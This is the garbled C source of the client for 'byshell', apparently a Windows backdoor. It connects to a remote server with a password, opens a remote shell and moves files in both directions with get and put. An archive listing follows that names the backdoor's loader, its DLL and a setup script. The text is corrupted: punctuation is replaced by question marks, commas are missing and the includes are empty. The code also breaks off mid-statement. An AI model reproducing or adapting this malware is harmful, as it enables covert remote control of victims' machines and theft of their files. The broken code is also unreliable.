//byshell?v0.63?cli

#include?
#include?
#pragma?comment（lib?“ws2_32.lib“）
#include?
#include?
#include?
char?pwd[16]=“by“;char?buff[66000]={0};char?ip[31]={0};HANDLE?filefp;unsigned?int?packnum=0;
char?work（char?*?workbuffunsigned?int?workbufflenchar?workflagint?*?psendlength）;
void?helpview（void）;

void?main（void）{int?ret;char?workflag=0;
//printf（“\tbyshell?client?ver?0.63\ntype?HELP?to?view?the?detailed?manual.\n“）;
printf（“please?input?the?server?ip?address\n“）;
gets（ip）;printf（“%s?will?be?connected\n“ip）;
WSADATA?WSAData;WSAStartup（MAKEWORD（22）&WSAData）;
SOCKET?sock=socket（AF_INETSOCK_STREAM0）;
sockaddr_in?cliaddr;memset（&cliaddr0sizeof（struct?sockaddr_in））;
cliaddr.sin_family=?AF_INET;
cliaddr.sin_port?=0;
cliaddr.sin_addr.S_un.S_addr?=?INADDR_ANY;
sockaddr_in?srvaddr;memset（&srvaddr0sizeof（struct?sockaddr_in））;
srvaddr.sin_family=?AF_INET;
srvaddr.sin_port?=?htons（138）;
srvaddr.sin_addr.S_un.S_addr?=?inet_addr（ip）;
bind（sock（struct?sockaddr?*）&cliaddrsizeof（struct?sockaddr））;
ret=connect（sock（struct?sockaddr?*）&srvaddrsizeof（struct?sockaddr））;
if（ret==-1）{printf（“connect?failedcheck?your?network?and?remote?ip.“）;exit（0）;}
printf（“input?the?password（the?default?one?is?\‘by\‘）\n“）;
gets（pwd）;int?sendlength=65536;int?recvlen=0;
//gets?not?include?the?\rbut?scanf?will
while（1）{strncpy（buffpwd16）;//copy?pass?before?workfor?chpass
workflag=work（buff+32recvlen-32workflag&sendlength）;sendlength+=32;
memcpy（buff+28&sendlength4）;
if（sendlength!=send（sockbuffsendlength0））{printf（“fatal?error?in?transmission\n“）;exit（0）;}
memset（buff065536）;?recvlen=recv（sockbuff655360）;int?duelen;memcpy（&duelenbuff+284）;
while（duelen>recvlen）{recvlen+=recv（sockbuff+recvlen65536-recvlen0）;}//solve?data?division
}
}
//__finally{closesocket（sock）;}

//now?these?are?work?codes.
char?work（char?*?workbuffunsigned?int?workbufflenchar?workflagint?*?psendlength）{

if（workflag==0）{printf（“%s“workbuff）;
lab1:?memset（workbuff065536）;printf（“#“）;gets（workbuff）;*psendlength=strlen（workbuff）;
if（!strncmp（workbuff“HELP“4）?||?!strncmp（workbuff“help“4））{helpview（）;goto?lab1;}
if（!strncmp（workbuff“shell“5））{return?1;}
if（!strncmp（workbuff“chpass“6））{strncpy（pwdworkbuff+616）;return?0;}
//get\tDES\tSRC
if（!strncmp（workbuff“get“3））{packnum=0;char?desfile[255]={0};char?srcfile[255]={0};
	sscanf（workbuff“get\t%s\t%s“desfilesrcfile）;
	filefp=CreateFile（desfileGENERIC_WRITE00CREATE_ALWAYSFILE_ATTRIBUTE_NORMAL0）;
	memset（workbuff+30514）;strcat（workbuffsrcfile）;*psendlength=strlen（workbuff）;
	return?2;}
//put\tDES\tSRC
if（!strncmp（workbuff“put“3））{packnum=0;char?desfile[255]={0};char?srcfile[255]={0};
	sscanf（workbuff“put\t%s\t%s“desfilesrcfile）;
	filefp=CreateFile（srcfileGENERIC_READ00OPEN_EXISTINGFILE_ATTRIBUTE_NORMAL0）;
	if（filefp==INVALID_HANDLE_VALUE）{printf（“no?such?local?file.\n“）;goto?lab1;}
	m

?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----

?????目錄??????????0??2004-12-25?13:21??byshell064

?????文件??????13131??2004-12-25?13:20??byshell064\064cli.cpp

?????文件??????49152??2004-12-23?23:17??byshell064\by064cli.exe

?????文件??????15251??2004-12-25?13:20??byshell064\byloader.cpp

?????文件???????3283??2004-12-25?13:45??byshell064\byreadme064.txt

?????文件??????45519??2004-12-25?13:21??byshell064\ntboot.cpp

?????文件??????69632??2004-12-23?22:23??byshell064\ntboot.dll

?????文件??????32768??2004-12-23?10:41??byshell064\ntboot.exe

?????文件?????????15??2004-12-23?23:08??byshell064\setup.bat

?????文件??????10071??2004-12-23?23:01??byshell063\063cli.cpp

?????文件??????49152??2004-12-23?23:01??byshell063\by063cli.exe

?????文件??????16332??2008-05-11?19:14??byshell063\byloader.cpp

?????文件???????3099??2004-12-25?13:28??byshell063\byreadme063.txt

?????文件??????43515??2004-12-25?13:22??byshell063\ntboot.cpp

?????文件??????69632??2004-12-23?14:44??byshell063\ntboot.dll

?????文件??????32768??2004-12-23?10:41??byshell063\ntboot.exe

?????文件?????????15??2004-12-23?23:08??byshell063\setup.bat

?????目錄??????????0??2008-05-11?18:24??byshell063

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???????????????453335????????????????????18